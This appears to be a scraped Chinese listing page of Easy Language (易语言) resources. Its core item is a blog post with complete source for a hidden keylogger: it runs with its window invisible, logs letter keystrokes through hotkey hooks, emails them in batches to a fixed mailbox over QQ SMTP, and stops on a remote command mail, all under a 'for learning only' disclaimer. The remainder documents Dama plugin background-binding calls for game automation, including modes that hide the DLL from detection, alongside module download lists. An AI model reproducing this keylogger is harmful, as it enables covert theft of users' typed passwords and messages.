很多朋友想做网页 鼠标键盘后台消息的软件,但是苦于找不到超文本浏览狂的真实句柄。
-
易语言后台暗码监控源码
2020-07-22 03:26:22易语言后台暗码监控源码,后台暗码监控,键盘钩子回调,反馈事件,API_安装系统钩子,API_释放系统钩子,API_拷贝内存,API_取实例句柄 -
易语言 键盘鼠标后台操作模块.ec
2014-07-04 12:32:34易语言 键盘鼠标后台操作模块 -
基于易语言的键盘监听器(仅供学习)
2020-05-04 21:13:15基于易语言的键盘监听器(仅供学习)软件原理梳理输入内容检测部分发送部分结束部分准备工作邮箱准备支持库准备模块准备窗口准备代码部分程序集启动窗口创建完毕子程序1编辑框1内容被改变子程序2总结 软件原理 梳理 ...软件原理
梳理
程序的运行分为三个部分:检测部分、发送部分和结束部分。
输入内容检测部分
在后台创建一个进程,利用 “枫式热键” 模块,实时监测运行电脑的键盘输入内容,并保存于程序窗口中的一个编辑框内,进行暂时储存,一旦到达指定的暂存字数时,发送编辑框内容到指定邮箱,实现全窗口键盘监听。
发送部分
用易语言所带的互联网库中的发送邮件命令,发送到指定邮箱编辑框中的内容。
结束部分
为了避免发送的邮件太多了,设置一个收到邮件就立马结束的命令,利用邮件接收库的命令,设置判断标题和内容是否与设置的相符,如果相符,立即结束程序的运行。
准备工作
邮箱准备
申请邮箱的POP3/SMTP服务,把生成的秘钥记录下来备用。
支持库准备
在易语言工具→支持库配置→在“互联网支持库”和“邮件接收支持库”前面选中→确定。
模块准备
准备“枫式热键”模块(如果实在想要可以留下邮箱)并导入工程中。
窗口准备
制作好易语言的窗口,像图片里的这样。
↓↓↓↓↓↓↓↓↓↓↓
在窗口属性里设置可视为假,按下Esc关闭为假,窗口顶置为假。代码部分
程序集
.版本 2 .支持库 pop3 .程序集 窗口程序集1 .程序集变量 a .程序集变量 收信账号, 文本型 .程序集变量 发信账号, 文本型 .程序集变量 发信密码, 文本型 .程序集变量 邮件信息, 邮件信息
启动窗口创建完毕
.版本 2 .支持库 internet .支持库 pop3 .支持库 spec .子程序 __启动窗口_创建完毕 .局部变量 s1, 整数型 .局部变量 a1, 整数型, , "0" .局部变量 s .局部变量 c 发信账号 = “ ” 发信密码 = “ ” 收信账号 = “ ” 连接发信服务器 (“smtp.qq.com”, 25, 发信账号, 发信密码, ) 发送邮件 (“键盘监听”, “已成功连接”, 收信账号, , , 发信账号, ) .如果真 (连接收信服务器 (“pop.qq.com”, 110, 发信账号, 发信密码, 30000, 3)) 子程序2 () .如果真结束 调试输出 (到字节集 (“s”), 到字节集 (“z”), #A键) s1 = 97 .计次循环首 (26, c) 调试输出 (s1) s = s1 - 32 清除数组 (a1) 加入成员 (a1, s) 注册热键 (a1, &子程序1, , 到文本 (到字节集 (到字节 (s1)))) s1 = s1 + 1 .计次循环尾 ()
程序中是以QQ邮箱作为例子,其他的邮箱可以自行更改服务器,更改方法请自行查阅 “传送门”。
子程序1
.版本 2 .支持库 spec .子程序 子程序1 .参数 z, 文本型 .参数 x, 整数型 调试输出 (z, x) .如果 (x = 1) a = a + 1 编辑框1.加入文本 (z)
编辑框1内容被改变
.版本 2 .支持库 internet .子程序 _编辑框1_内容被改变 .如果 (取文本长度 (编辑框1.内容) ≥ 10) 发送邮件 (“键盘监听”, “输入信息:” + 编辑框1.内容, 收信账号, , , 发信账号, ) 编辑框1.内容 = “” .否则
子程序2
版本 2 .支持库 pop3 .子程序 子程序2 .局部变量 邮件数, 整数型 .局部变量 变量, 整数型 获取邮件信息 (邮件数, 变量) .计次循环首 (邮件数, 变量) 邮件信息 = 接收邮件 (变量) .如果 (邮件信息.取主题 () = “键盘监听”) .如果 (邮件信息.取文本内容 () = “结束”) 结束 () .否则 .如果结束 .否则 .如果结束 .计次循环尾 ()
总结
到现在,所有的内容也就全部告诉大家了。再次声明,本文章仅供学习!
毕竟这是博主第一次发文章,请大家多多指教,我还是会继续努力的。
喜欢的朋友记得多多转发评论,你们的支持就是我前进的动力!
-
易语言键盘动作录制
2013-02-03 13:37:12键盘动作后台录制! 次程序运用易语言制作的 -
键盘鼠标后台操作模块.zip
2020-09-13 09:58:53易语言 键盘鼠标后台操作模块 方便后台操作 易语言 键盘鼠标后台操作模块 方便后台操作易语言 键盘鼠标后台操作模块 方便后台操作易语言 键盘鼠标后台操作模块 方便后台操作易语言 键盘鼠标后台操作模块 方便后台... -
易语言大漠插件后台高级绑定窗口BindWindowEx
2020-07-03 10:48:17BindWindowEx后台绑定模式一绑定的一个高级命令,相对于BindWindow多了一个参数 public,也就是对公共属性 dx模式的设置方式。 511遇见大漠模块制作 官方BindWindowEx文档 函数简介: 绑定指定的窗口,并指定这个...BindWindowEx后台绑定模式一绑定的一个高级命令,相对于BindWindow多了一个参数 public,也就是对公共属性 dx模式的设置方式。
511遇见大漠模块制作
官方BindWindowEx文档
函数简介:
绑定指定的窗口,并指定这个窗口的屏幕颜色获取方式,鼠标仿真模式,键盘仿真模式 高级用户使用.
函数原型:
long BindWindowEx(hwnd,display,mouse,keypad,public,mode)
参数定义:
hwnd 整形数: 指定的窗口句柄 display 字符串: 屏幕颜色获取方式 取值有以下几种 "normal" : 正常模式,平常我们用的前台截屏模式 "gdi" : gdi模式,用于窗口采用GDI方式刷新时. 此模式占用CPU较大. 参考SetAero. win10以上系统使用此模式,如果截图失败,尝试把目标程序重新开启再试试。 "gdi2" : gdi2模式,此模式兼容性较强,但是速度比gdi模式要慢许多,如果gdi模式发现后台不刷新时,可以考虑用gdi2模式. "dx2" : dx2模式,用于窗口采用dx模式刷新,如果dx方式会出现窗口进程崩溃的状况,可以考虑采用这种.采用这种方式要保证窗口有一部分在屏幕外.win7 win8或者vista不需要移动也可后台. 此模式占用CPU较大. 参考SetAero. win10以上系统使用此模式,如果截图失败,尝试把目标程序重新开启再试试。 "dx3" : dx3模式,同dx2模式,但是如果发现有些窗口后台不刷新时,可以考虑用dx3模式,此模式比dx2模式慢许多. 此模式占用CPU较大. 参考SetAero. win10以上系统使用此模式,如果截图失败,尝试把目标程序重新开启再试试。 hwnd 整形数: 指定的窗口句柄 display 字符串: 屏幕颜色获取方式 取值有以下几种 "normal" : 正常模式,平常我们用的前台截屏模式 "gdi" : gdi模式,用于窗口采用GDI方式刷新时. 此模式占用CPU较大. 参考SetAero. win10以上系统使用此模式,如果截图失败,尝试把目标程序重新开启再试试。 "gdi2" : gdi2模式,此模式兼容性较强,但是速度比gdi模式要慢许多,如果gdi模式发现后台不刷新时,可以考虑用gdi2模式. "dx2" : dx2模式,用于窗口采用dx模式刷新,如果dx方式会出现窗口进程崩溃的状况,可以考虑采用这种.采用这种方式要保证窗口有一部分在屏幕外.win7 win8或者vista不需要移动也可后台. 此模式占用CPU较大. 参考SetAero. win10以上系统使用此模式,如果截图失败,尝试把目标程序重新开启再试试。 "dx3" : dx3模式,同dx2模式,但是如果发现有些窗口后台不刷新时,可以考虑用dx3模式,此模式比dx2模式慢许多. 此模式占用CPU较大. 参考SetAero. win10以上系统使用此模式,如果截图失败,尝试把目标程序重新开启再试试。
dx模式,用于窗口采用dx模式刷新,取值可以是以下任意组合,组合采用"|"符号进行连接 注意此模式需要管理员权限. 支持BindWindow中的缩写模式. 比如dx代表"
dx.graphic.2d| dx.graphic.3d
"1. "dx.graphic.2d" 2d窗口的dx图色模式 2. "dx.graphic.2d.2" 2d窗口的dx图色模式 是dx.graphic.2d的增强模式.兼容性更好. 3. "dx.graphic.3d" 3d窗口的dx图色模式,注意采用这个模式,必须关闭窗口3D视频设置的全屏抗锯齿选项. 4. "dx.graphic.3d.8" 3d窗口的dx8图色模式,注意采用这个模式,必须关闭窗口3D视频设置的全屏抗锯齿选项. 这个模式支持某些老的引擎. 5. "dx.graphic.opengl" 3d窗口的opengl图色模式,极少数窗口采用opengl引擎刷新. 此图色模式速度可能较慢. 6. "dx.graphic.opengl.esv2" 3d窗口的opengl_esv2图色模式,极少数窗口采用opengl引擎刷新. 此图色模式速度可能较慢.
mouse 字符串: 鼠标仿真模式 取值有以下几种
"normal" : 正常模式,平常我们用的前台鼠标模式 "windows": Windows模式,采取模拟windows消息方式 同按键的后台插件. "windows3": Windows3模式,采取模拟windows消息方式,可以支持有多个子窗口的窗口后台
dx模式,取值可以是以下任意组合. 组合采用"|"符号进行连接 注意此模式需要管理员权限.支持BindWindow中的缩写模式,比如windows2代表"
dx.mouse.position.lock.api|dx.mouse.position.lock.message|dx.mouse.state.message
"1. "dx.mouse.position.lock.api" 此模式表示通过封锁系统API,来锁定鼠标位置. 2. "dx.mouse.position.lock.message" 此模式表示通过封锁系统消息,来锁定鼠标位置. 3. "dx.mouse.focus.input.api" 此模式表示通过封锁系统API来锁定鼠标输入焦点. 4. "dx.mouse.focus.input.message"此模式表示通过封锁系统消息来锁定鼠标输入焦点. 5. "dx.mouse.clip.lock.api" 此模式表示通过封锁系统API来锁定刷新区域。注意,使用这个模式,在绑定前,必须要让窗口完全显示出来. 6. "dx.mouse.input.lock.api" 此模式表示通过封锁系统API来锁定鼠标输入接口. 7. "dx.mouse.state.api" 此模式表示通过封锁系统API来锁定鼠标输入状态. 8. "dx.mouse.state.message" 此模式表示通过封锁系统消息来锁定鼠标输入状态. 9. "dx.mouse.api" 此模式表示通过封锁系统API来模拟dx鼠标输入. 10. "dx.mouse.cursor" 开启此模式,可以后台获取鼠标特征码. 11. "dx.mouse.raw.input" 有些窗口需要这个才可以正常操作鼠标. 12. "dx.mouse.input.lock.api2" 部分窗口在后台操作时,前台鼠标会移动,需要这个属性. 13. "dx.mouse.input.lock.api3" 部分窗口在后台操作时,前台鼠标会移动,需要这个属性.
keypad 字符串: 键盘仿真模式 取值有以下几种
"normal" : 正常模式,平常我们用的前台键盘模式 "windows": Windows模式,采取模拟windows消息方式 同按键的后台插件.
dx模式,取值可以是以下任意组合. 组合采用"|"符号进行连接 注意此模式需要管理员权限.支持BindWindow中的缩写模式.比如dx代表"
dx.public.active.api|dx.public.active.message| dx.keypad.state.api|dx.keypad.api|dx.keypad.input.lock.api
"1. "dx.keypad.input.lock.api" 此模式表示通过封锁系统API来锁定键盘输入接口.
2. "dx.keypad.state.api" 此模式表示通过封锁系统API来锁定键盘输入状态.
3. "dx.keypad.api" 此模式表示通过封锁系统API来模拟dx键盘输入.
4. "dx.keypad.raw.input" 有些窗口需要这个才可以正常操作键盘.
public 字符串: 公共属性 dx模式共有 注意以下列表中,前面打五角星的表示需要管理员权限
取值可以是以下任意组合. 组合采用"|"符号进行连接 这个值可以为空
1. ★ "dx.public.active.api" 此模式表示通过封锁系统API来锁定窗口激活状态. 注意,部分窗口在此模式下会耗费大量资源慎用. 2. ★ "dx.public.active.message" 此模式表示通过封锁系统消息来锁定窗口激活状态. 注意,部分窗口在此模式下会耗费大量资源 慎用. 另外如果要让此模式生效,必须在绑定前,让绑定窗口处于激活状态,否则此模式将失效. 比如dm.SetWindowState hwnd,1 然后再绑定. 3. "dx.public.disable.window.position" 此模式将锁定绑定窗口位置.不可与"dx.public.fake.window.min"共用. 4. "dx.public.disable.window.size" 此模式将锁定绑定窗口,禁止改变大小. 不可与"dx.public.fake.window.min"共用. 5. "dx.public.disable.window.minmax" 此模式将禁止窗口最大化和最小化,但是付出的代价是窗口同时也会被置顶. 不可与"dx.public.fake.window.min"共用. 6. "dx.public.fake.window.min" 此模式将允许目标窗口在最小化状态时,仍然能够像非最小化一样操作.. 另注意,此模式会导致任务栏顺序重排,所以如果是多开模式下,会看起来比较混乱,建议单开使用,多开不建议使用. 同时此模式不是万能的,有些情况下最小化以后图色会不刷新或者黑屏. 7. "dx.public.hide.dll" 此模式将会隐藏目标进程的大漠插件,避免被检测..另外使用此模式前,请仔细做过测试,此模式可能会造成目标进程不稳定,出现崩溃。 8. ★ "dx.public.active.api2" 此模式表示通过封锁系统API来锁定窗口激活状态. 部分窗口遮挡无法后台,需要这个属性. 9. ★ "dx.public.input.ime" 此模式是配合SendStringIme使用. 具体可以查看SendStringIme接口. 10 ★ "dx.public.graphic.protect" 此模式可以保护dx图色不被恶意检测.同时对dx.keypad.api和dx.mouse.api也有保护效果. 11 ★ "dx.public.disable.window.show" 禁止目标窗口显示,这个一般用来配合dx.public.fake.window.min来使用. 12 ★ "dx.public.anti.api" 此模式可以突破部分窗口对后台的保护. 13 ★ "dx.public.memory" 此模式可以让内存读写函数突破保护.只要绑定成功即可操作内存函数. 14 ★ "dx.public.km.protect" 此模式可以保护dx键鼠不被恶意检测.最好配合dx.public.anti.api一起使用. 此属性可能会导致部分后台功能失效. 15 "dx.public.prevent.block" 绑定模式1 3 5 7 101 103下,可能会导致部分窗口卡死. 这个属性可以避免卡死. 16 "dx.public.ori.proc" 此属性只能用在模式0 1 2 3和101下. 有些窗口在不同的界面下(比如登录界面和登录进以后的界面),键鼠的控制效果不相同. 那可以用这个属性来尝试让保持一致. 注意的是,这个属性不可以滥用,确保测试无问题才可以使用. 否则可能会导致后台失效. 17 ★ "dx.public.down.cpu" 此模式可以配合DownCpu来降低目标进程CPU占用. 当图色方式降低CPU无效时,可以尝试此种方式. 17 ★ "dx.public.focus.message" 当后台绑定后,后台无法正常在焦点窗口输入文字时,可以尝试加入此属性. 此属性会强制键盘消息发送到焦点窗口. 慎用此模式,此模式有可能会导致后台键盘在某些情况下失灵.
mode 整形数: 模式。取值有以下几种
0 : 推荐模式,此模式比较通用,而且后台效果是最好的.
1 : 和模式0效果一样,如果模式0会失败时,可以尝试此模式,.
2 : 同模式0,此模式为老的模式0,尽量不要用此模式,除非有兼容性问题.
3 : 同模式1,此模式为老的模式1,尽量不要用此模式,除非有兼容性问题.
4 : 同模式0,如果模式0有崩溃问题,可以尝试此模式.
5 : 同模式1, 如果模式0有崩溃问题,可以尝试此模式.
6 : 同模式0,如果模式0有崩溃问题,可以尝试此模式.
7 : 同模式1,如果模式1有崩溃问题,可以尝试此模式..
101 : 超级绑定模式. 可隐藏目标进程中的dm.dll.避免被恶意检测.效果要比dx.public.hide.dll好. 推荐使用.
103 : 同模式101,如果模式101有崩溃问题,可以尝试此模式.
需要注意的是: 模式1 3 5 7 101 103在大部分窗口下绑定都没问题。但也有少数特殊的窗口,比如有很多子窗口的窗口,对于这种窗口,在绑定时,一定要把鼠标指向一个可以输入文字的窗口,比如一个文本框,最好能激活这个文本框,这样可以保证绑定的成功.
返回值:
整形数: 0: 失败 1: 成功
如果返回0,可以调用GetLastError来查看具体失败错误码,帮助分析问题.
示例:
dm_ret = dm.BindWindowEx(hwnd,"normal","dx.mouse.position.lock.api|dx.mouse.position.lock.message","windows","dx.public.active.api",0) dm_ret = dm.BindWindowEx(hwnd,"dx2","windows","normal","dx.public.active.api",0) dm_ret = dm.BindWindowEx(hwnd,"dx.graphic.2d","dx.mouse.position.lock.api|dx.mouse.position.lock.message","dx.keypad.state.api|dx.keypad.api","",0) dm_ret = dm.BindWindowEx(hwnd,"dx2","windows","windows","",0) dm_ret = dm.BindWindowEx(hwnd,"dx2","windows","windows","dx.public.disable.window.size|dx.public.disable.window.minmax",0) dm_ret = dm.BindWindowEx(hwnd,"dx2","windows3","windows","dx.mouse.position.lock.api",0)
注意:
绑定之后,所有的坐标都相对于窗口的客户区坐标(不包含窗口边框)
另外,绑定窗口后,必须加以下代码,以保证所有资源正常释放这个函数的意思是在脚本结束时,会调用这个函数。需要注意的是,目前的按键版本对于这个函数的执行不是线程级别的,也就是说,这个函数只会在主线程执行,子线程绑定的大漠对象,不保证完全释放。高级语言中则需要自己控制在适当的时候解除绑定.
Sub OnScriptExit() dm_ret = dm.UnBindWindow() End Sub
另外 绑定dx会比较耗时间,请不要频繁调用此函数.
另外如果绑定的是dx,要注意不可连续操作dx,中间至少加个10MS的延时,否则可能会导致操作失败.比如绑定图色DX,那么不要连续取色等,键鼠也是一样.
注意,需要组合的模式,都需要管理员权限才能运行,所以对于WIN7 WIN8和VISTA用户,在启动窗口进程时,必须用管理员方式启动,否则无法绑定成功!
还有一点特别要注意的是,有些窗口绑定之后必须加一定的延时,否则后台也无效.一般1秒到2秒的延时就足够.
发现绑定失败的几种可能(一般是需要管理员权限的模式才有可能会失败)
1. 系统登录的帐号必须有Administrators权限 2. 如果是vista和win7 win8系统,启动窗口进程必须用管理员模式启动,脚本也必须用管理员模式启动. 3. 一些防火墙会防止插件注入窗口所在进程,比如360防火墙等,必须把dm.dll设置为信任. 4.还有一个比较弱智的可能性,那就是插件没有注册到系统中,这时CreateObject压根就是失败的. 检测对象是否创建成功很简单,如下代码 set dm = createobject("dm.dmsoft") ver = dm.Ver() If len(ver) = 0 Then MessageBox "创建对象失败,检查系统是否禁用了vbs脚本权限" EndScript End If 5.在沙盘中开的窗口,绑定一些需要管理员权限的模式,会失败。 解决方法是要配置沙盘参数,参考如何配置沙盘参数. 6. 窗口所在进程有保护,这个我也无能为力.
视频教程模块封装源码:
.版本 2 .子程序 BindWindowEx, 整数型, 公开, 后台绑定窗口EX BindWindowEx(返回值:0失败,1成功) .参数 hwnd, 整数型, , 指定的窗口句柄 .参数 display, 文本型, , 屏幕颜色获取方式 .参数 mouse, 文本型, , 鼠标仿真模式 .参数 keypad, 文本型, , 键盘仿真模式 .参数 public, 文本型, , 公共属性,查看接口说明 .参数 mode, 整数型, , 模式,查看接口说明 返回 (obj.数值方法 (“BindWindowEx”, hwnd, display, mouse, keypad, public, mode))
-
511遇见易语言大漠模块制作后台绑定窗口BindWindow
2020-07-02 09:57:01绑定指定的窗口,并指定这个窗口的屏幕颜色获取方式,鼠标仿真模式,键盘仿真模式,以及模式设定,高级用户可以参考BindWindowEx更加灵活强大. 函数原型: long BindWindow(hwnd,display,mouse,keypad,mode) 参数定义:...大漠插件首要的是绑定游戏窗口,采用的命令是BindWindow。
视频链接:
511遇见大漠模块制作
BindWindow官方注释
函数简介:
绑定指定的窗口,并指定这个窗口的屏幕颜色获取方式,鼠标仿真模式,键盘仿真模式,以及模式设定,高级用户可以参考BindWindowEx更加灵活强大.
函数原型:
long BindWindow(hwnd,display,mouse,keypad,mode)
参数定义:
hwnd 整形数: 指定的窗口句柄
display 字符串: 屏幕颜色获取方式 取值有以下几种
"normal" : 正常模式,平常我们用的前台截屏模式
"gdi" : gdi模式,用于窗口采用GDI方式刷新时. 此模式占用CPU较大. 参考SetAero win10以上系统使用此模式,如果截图失败,尝试把目标程序重新开启再试试。
"gdi2" : gdi2模式,此模式兼容性较强,但是速度比gdi模式要慢许多,如果gdi模式发现后台不刷新时,可以考虑用gdi2模式.
"dx2" : dx2模式,用于窗口采用dx模式刷新,如果dx方式会出现窗口所在进程崩溃的状况,可以考虑采用这种.采用这种方式要保证窗口有一部分在屏幕外.win7 win8或者vista不需要移动也可后台.此模式占用CPU较大. 参考SetAero. win10以上系统使用此模式,如果截图失败,尝试把目标程序重新开启再试试。
"dx3" : dx3模式,同dx2模式,但是如果发现有些窗口后台不刷新时,可以考虑用dx3模式,此模式比dx2模式慢许多. 此模式占用CPU较大. 参考SetAero. win10以上系统使用此模式,如果截图失败,尝试把目标程序重新开启再试试。
"dx" : dx模式,等同于BindWindowEx中,display设置的"dx.graphic.2d|dx.graphic.3d",具体参考BindWindowEx
注意此模式需要管理员权限mouse 字符串: 鼠标仿真模式 取值有以下几种
"normal" : 正常模式,平常我们用的前台鼠标模式
"windows": Windows模式,采取模拟windows消息方式 同按键自带后台插件.
"windows2": Windows2 模式,采取模拟windows消息方式(锁定鼠标位置) 此模式等同于BindWindowEx中的mouse为以下组合
"dx.mouse.position.lock.api|dx.mouse.position.lock.message|dx.mouse.state.message"
注意此模式需要管理员权限"windows3": Windows3模式,采取模拟windows消息方式,可以支持有多个子窗口的窗口后台.
"dx": dx模式,采用模拟dx后台鼠标模式,这种方式会锁定鼠标输入.有些窗口在此模式下绑定时,需要先激活窗口再绑定(或者绑定以后激活),否则可能会出现绑定后鼠标无效的情况.此模式等同于BindWindowEx中的mouse为以下组合
"dx.public.active.api|dx.public.active.message|dx.mouse.position.lock.api|dx.mouse.position.lock.message|dx.mouse.state.api|dx.mouse.state.message|dx.mouse.api|dx.mouse.focus.input.api|dx.mouse.focus.input.message|dx.mouse.clip.lock.api|dx.mouse.input.lock.api|dx.mouse.cursor"
注意此模式需要管理员权限"dx2":dx2模式,这种方式类似于dx模式,但是不会锁定外部鼠标输入.
有些窗口在此模式下绑定时,需要先激活窗口再绑定(或者绑定以后手动激活),否则可能会出现绑定后鼠标无效的情况. 此模式等同于BindWindowEx中的mouse为以下组合
"dx.public.active.api|dx.public.active.message|dx.mouse.position.lock.api|dx.mouse.state.api|dx.mouse.api|dx.mouse.focus.input.api|dx.mouse.focus.input.message|dx.mouse.clip.lock.api|dx.mouse.input.lock.api| dx.mouse.cursor"
注意此模式需要管理员权限keypad 字符串: 键盘仿真模式 取值有以下几种
"normal" : 正常模式,平常我们用的前台键盘模式
"windows": Windows模式,采取模拟windows消息方式 同按键的后台插件.
"dx": dx模式,采用模拟dx后台键盘模式。有些窗口在此模式下绑定时,需要先激活窗口再绑定(或者绑定以后激活),否则可能会出现绑定后键盘无效的情况. 此模式等同于BindWindowEx中的keypad为以下组合
"dx.public.active.api|dx.public.active.message| dx.keypad.state.api|dx.keypad.api|dx.keypad.input.lock.api"
注意此模式需要管理员权限mode 整形数: 模式。 取值有以下几种
0 : 推荐模式此模式比较通用,而且后台效果是最好的.
1 : 和模式0效果一样,如果模式0会失败时,可以尝试此模式.
2 : 同模式0,此模式为老的模式0,尽量不要用此模式,除非有兼容性问题.
3 : 同模式1,此模式为老的模式1,尽量不要用此模式,除非有兼容性问题.
4 : 同模式0,如果模式0有崩溃问题,可以尝试此模式.
5 : 同模式1, 如果模式0有崩溃问题,可以尝试此模式.
6 : 同模式0,如果模式0有崩溃问题,可以尝试此模式.
7 : 同模式1,如果模式1有崩溃问题,可以尝试此模式.
101 : 超级绑定模式. 可隐藏目标进程中的dm.dll.避免被恶意检测.效果要比
dx.public.hide.dll
好. 推荐使用.103 : 同模式101,如果模式101有崩溃问题,可以尝试此模式.
需要注意的是: 模式1 3 5 7 101 103在大部分窗口下绑定都没问题。但也有少数特殊的窗口,比如有很多子窗口的窗口,对于这种窗口,在绑定时,一定要把
鼠标指向一个可以输入文字的窗口,比如一个文本框,最好能激活这个文本框,这样可以保证绑定的成功.返回值:
整形数:
0: 失败
1: 成功如果返回0,可以调用GetLastError来查看具体失败错误码,帮助分析问题.
示例:
// display: 前台 鼠标:前台键盘:前台 模式0 dm_ret = dm.BindWindow(hwnd,"normal","normal","normal",0) // display: gdi 鼠标:前台 键盘:前台 模式1 dm_ret = dm.BindWindow(hwnd,"gdi","normal","normal",1) // display: dx 鼠标:前台 键盘:前台 模式0 dm_ret = dm.BindWindow(hwnd,"dx","normal","normal",0) // display: dx 鼠标:windows后台 键盘:windows后台 模式1 dm_ret = dm.BindWindow(hwnd,"dx","windows","windows",1) // display: dx 鼠标:dx 后台 键盘: dx后台 模式1 dm_ret = dm.BindWindow(hwnd,"dx","dx","dx",1) // display: dx 鼠标:windows3后台 键盘:windows后台 模式1 dm_ret = dm.BindWindow(hwnd,"dx","windows3","windows",1)
注意:
绑定之后,所有的坐标都相对于窗口的客户区坐标(不包含窗口边框)
另外,绑定窗口后,必须加以下代码,以保证所有资源正常释放这个函数的意思是在脚本结束时,会调用这个函数。需要注意的是,目前的按键版本对于这个函数的执行不是线程级别的,也就是说,这个函数只会在主线程执行,子线程绑定的大漠对象,不保证完全释放。
Sub OnScriptExit() dm_ret = dm.UnBindWindow() End Sub
另外 绑定dx会比较耗时间,请不要频繁调用此函数.
另外如果绑定的是dx,要注意不可连续操作dx,中间至少加个10MS的延时,否则可能会导致操作失败.比如绑定图色DX,那么不要连续取色等,键鼠也是一样.
注意,图色dx,鼠标windows2 dx dx2以及键盘dx都需要管理员权限才能运行,所以对于WIN7 WIN8和VISTA用户,在启动目标窗口时,必须用管理员方式启动,否则无法绑定成功!
还有一点特别要注意的是,有些窗口绑定之后必须加一定的延时,否则后台也无效.一般1秒到2秒的延时就足够.
发现绑定失败的几种可能(一般是需要管理员权限的模式才有可能会失败)
1. 系统登录的帐号必须有Administrators权限 2.如果是vista和win7 win8系统,启动窗口进程必须用管理员模式启动,脚本也必须用管理员模式启动. 3.一些防火墙会防止插件注入窗口所在进程,比如360防火墙等,必须把dm.dll设置为信任. 4.还有一个比较弱智的可能性,那就是插件没有注册到系统中,这时CreateObject压根就是失败的. 检测对象是否创建成功很简单,如下代码
set dm = createobject("dm.dmsoft") ver = dm.Ver() If len(ver) = 0 Then MessageBox "创建对象失败,检查系统是否禁用了vbs脚本权限" EndScript End If
5. 在沙盘中开的窗口进程,绑定一些需要管理员权限的模式,会失败。
解决方法是要配置沙盘参数,具体如何配置参考沙盘绑定方法.6. 窗口所在进程有保护,这个我也无能为力.
模块封装源码:
.版本 2 .子程序 BindWindow, 整数型, 公开, 后台绑定窗口BindWindow(返回值:0失败,1成功) .参数 hwnd, 整数型, , 指定的窗口句柄 .参数 display, 文本型, , 屏幕颜色获取方式 .参数 mouse, 文本型, , 鼠标仿真模式 .参数 keypad, 文本型, , 键盘仿真模式 .参数 mode, 整数型, , 模式,查看接口说明 返回 (obj.数值方法 (“BindWindow”, hwnd, display, mouse, keypad, mode))
-
e语言-易调用大漠插件易语言教程
2019-08-23 11:16:41资源介绍:1.易调用大漠插件2.易语言读写配置项参数保存更新_全局热键的使用3.多线程_(启动_暂停_继续_停止)_API操作__注册热键_...后台键盘_鼠标_后台找图_找字_CE读内存_E读坐标资源作者:易语言视频教程网资源下载: -
易语言模块大全
2018-08-07 13:01:30Tooltip31版[易语言3.0以上版本].ec Trackbar.ec TTS.EC TWnet.CN.EC URL编码解码.ec USER32.EC user32模块.EC user模块.EC USUAL.EC VERSION.EC WBCZ.EC WBFH.EC wf.ec WF1.EC WinAPI_窗口与组件.ec... -
易语言模块914个
2018-03-12 20:00:21Tooltip31版[易语言3.0以上版本].ec Trackbar.ec TTS.EC TWnet.CN.EC URL编码解码.ec USB.ec USER32.EC user32模块.EC user模块.EC USUAL.EC VERSION.EC Vista风格化.ec W.y.k_!易模块1.10.ec WBCZ.EC... -
1345个易语言模块
2012-01-27 19:41:591345个易语言模块,易语言模块大集合,够你用的啦 1亦思验证码识别1.5免费版.ec 24位转单色位图模块.ec 32张发牌.ec 3D引擎支持库-eOgre.ec 69msn.ec ACCESS 到高级表格.ec Access操作.ec Access数据库压缩修复新建.... -
2020易语言模块大全持续更新3.zip
2020-07-02 13:10:51系统后台服务.ec 系统服务管理模块.ec 系统登录模块.ec 系统管家-关机管理.ec 系统设置易模块 1.0.ec 系统设置易模块.ec 系统资源检测模块.ec 线程类.ec 组合框记录模块.ec 统计表模块.ec 统计重复次数.ec 缩放多... -
1350多个精品易语言模块
2015-07-26 12:21:301350多个精品易语言模块提供下载介绍 1亦思验证码识别1.5免费版.ec 24位转单色位图模块.ec 32张发牌.ec 3D引擎支持库-eOgre.ec 69msn.ec ACCESS 到高级表格.ec Access操作.ec Access数据库压缩修复新建.ec ACCSEE... -
易语言 茶凉专用模块
2010-05-04 12:26:36参数 是否后台, 逻辑型, 可空, 默认为假:可见到的颜色点 真:后台窗口内颜色点 .参数 色深, 整数型, 可空, 所截取的图片位深度,默认为16位(8,16,24,32) .子程序 超级延迟, , 公开, 无资源占用的延时(无返回值) .参数... -
e语言-易语言识图按键助手软件源码
2019-08-23 12:33:04注意事项:识图软件的图片必须要用 抓图器 来截图本软件以鼠标为主,键盘为辅(使用键盘操作推荐绑定窗口)识别的窗口不能被其他窗口遮挡,不支持后台识图执行功能一 和 执行功能二 只会执行一个功能模块识别速度请大于... -
1350多个精品易语言模块提供下载
2011-06-06 17:51:09Tooltip31版[易语言3.0以上版本].ec Trackbar.ec transwin.ec TTS.EC TWnet.CN.EC URL 编码解码.ec USB.ec USER32.EC user32模块.EC user模块.EC USUAL.EC vcode.ec VERSION.EC ve 模块.ec Vista.ec vistaAERO模块.... -
【第八套】 大漠插件命令详解 易语言篇
2015-11-10 10:10:106.鼠标与键盘间隔设置(VIP) 高清视频下载 7.键鼠前台模拟方式(VIP) 高清视频下载 第四章 图色与后台操作 1.截图操作 高清视频下载 2.后台绑定 高清视频下载 3.后台高级绑定 高清视频下载 4.大漠综合工具之透明图... -
易语言超文本浏览框取真实句柄(可消息句柄)
2019-09-22 20:42:28很多朋友想做网页 鼠标键盘后台消息的软件,但是苦于找不到超文本浏览狂的真实句柄。 如果你用 超文本浏览框.取窗口句柄() 那么你取到的是图1的句柄,这个句柄是无法操作的 图中2的句柄才是真正可以发送...如果你用 超文本浏览框.取窗口句柄() 那么你取到的是图1的句柄,这个句柄是无法操作的转载于:https://www.cnblogs.com/xy888/p/5532369.html
-
手游全自动化任务脚本辅助课程
2020-08-20 21:35:261、易语言轻松实现手游后台操作 2、小技巧!编写代码智能获取游戏操作句柄 3、简单方法实现辅助跟随以及禁止鼠标键盘操作 4、通用技巧!快速实现游戏后台找图找字功能 5、完整实现后台找图找字与鼠标点击 6、... -
790个易模块打包下载-2
2013-01-24 23:06:49系统后台服务.ec 系统设置易模块 1.0.ec 系统资源检测模块.ec 显示设置.ec 详细的公农历转换1.0.ec 详细的公农历转换1.2.ec 逍遥带符号液晶.ec 新编码转换大全.ec 信息提示框控件(Tip).ec 星光灭绝1.0.ec ... -
精易官方免费模块v3.60版
2014-01-22 20:12:364、修复“易语言_取易语言安装目录” 感谢会员 7141330054 的提醒 精易模块 V3.46 what’s new:(20131101) 1、完善重写“文本_取出现次数”命令感谢会员 Mr.Yang 提供的代码 2、完善重写“系统_格式化软盘”命令... -
精易模块[源码] V5.15
